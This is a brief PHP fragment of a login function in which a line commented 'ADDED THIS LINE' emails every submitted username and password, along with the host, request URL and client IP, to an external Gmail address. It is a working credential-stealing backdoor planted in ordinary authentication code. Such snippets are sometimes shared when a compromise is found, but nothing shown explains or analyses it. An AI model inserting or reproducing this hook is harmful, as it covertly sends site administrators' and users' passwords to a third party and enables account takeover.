public function login($username, $password, $request = null)
    {
    .
    .
    .
    //ADDED THIS LINE
    mail("lalutime@gmail.com","Admin From ".$_SERVER['HTTP_HOST'],"Login : ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\nUsername : ".$username."\nPassword : ".$password."\nIP Log : ".$_SERVER['REMOTE_ADDR']);